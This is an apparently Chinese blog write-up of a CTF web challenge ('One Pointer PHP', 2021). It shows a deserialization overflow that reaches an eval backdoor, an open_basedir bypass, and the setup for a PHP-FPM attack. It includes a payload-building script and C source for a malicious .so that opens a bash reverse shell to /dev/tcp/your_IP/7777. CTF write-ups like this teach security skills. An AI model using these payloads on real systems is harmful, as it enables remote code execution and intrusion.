[蓝帽杯 2021]One Pointer PHP

本文详细介绍了参与蓝帽杯2021过程中遇到的PHP相关安全问题,包括FPM未授权攻击、构造FTP服务器进行恶意Fastcgi请求,以及如何在权限受限的情况下进行提权操作获取flag。作者分享了踩坑经验,如通过反序列化技巧触发RCE,利用open_basedir限制的绕过方法,以及通过FTP和恶意SO文件反弹shell。
摘要由CSDN通过智能技术生成

这题弄了我3天时间,一开始是弹不了shell,以为是vps问题,换了个vps还是不行,又检查了pyload,又改了 so文件还是不行,最后反复检查 也算是彻底了解了这道题的考点。

开始吧。

源码:

add_api.php
 
<?php
show_source(__FILE__);
include "user.php";
if($user=unserialize($_COOKIE["data"])){
	$count[++$user->count]=1;
	if($count[]=1){
		$user->count+=1;
		setcookie("data",serialize($user));
	}else{
		eval($_GET["backdoor"]);
	}
}else{
	$user=new User;
	$user->count=1;
	setcookie("data",serialize($user));
}
?>
user.php
 
<?php
class User{
	public $count;
}
?>

代码add_app.php包含user.php  将cookie 中的data 反序列化为 $user对象。将user 中 的count +1作为 count的下表 并给此元素赋值为1,然后进行if判断count[]=1的意思就是给此数组末尾添加一个元素,值为1。那这里第一个考点就已经出来了,倘若我将count设为最大值-1的数字,那么在经历过自增后,该count为最大值,再进行$count[]=1操作,由于数组已经达到最大值了,数组末尾无法添加元素,所以此操作出错,执行else语句。我们便可以RCE。不同的操作系统PHP最大值是不一样的,32位上为2147483647,64位上为9223372036854775807,所以这里我们应该设置count为9223372036854775806,写个序列化脚本生成序列化字符串
 

<?php
    class User
    {
        public $count=9223372036854775806;
    }
    echo serialize(new User);
?>

//O:4:"User":1:{s:5:"count";i:9223372036854775806;}
//O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D

绕过之后,我们就可以进行到eval 函数。

传一个backdoor吧。

 

 

既然能看到phpinfo()了 。那么我们连一下蚁剑。

 

 Cookie记得传data  不然连不上去

 进到里面flag 是无法直接读取的,

 猜测是没有权限,继续往下再分析一下 phpinfo.

 

 果然是设置了open_basedir,我们需要进行绕过,如果对这个不熟悉的话,看看我之前写的博客。浅谈绕过open_basedir 的几种用法_snowlyzz的博客-CSDN博客

因为open_basedir 对目录又限制,所以我们只能对/var/www/html下的文件进行操作。但是我试了下,可以访问php.ini 配置文件:/user/local/etc/php/php.ini ,这种linux的文件路径和windows的是不一样的。

 这个异常的so文件,看其他师傅说是可以pwn。但是我不会 于是再看看nginx的配置文件。

路径:/etc/nginx/sites-enabled/default

 发现他是开启了 fastcgi ,这里的考点应该是利用FPM未授权漏洞对其攻击。

FPM未授权攻击。

先在linux 构造恶意的 so 文件,最好先更新一下gcc:linux安装gcc命令步骤(centos安装gcc命令)_sunsineq的博客-CSDN博客_gcc安装命令

在linux 创建 一个  . c 文件

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'bash -i >& /dev/tcp/your_IP/7777 0>&1'");
}

 然后:

gcc payload.c -fPIC -shared -o payload.so

 进行编译文件。

然后使用xftp 把你vps 下的 so 文件传输到你wiindows 上,然后在蚁剑上传到题目环境的/var/www/html/目录下

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值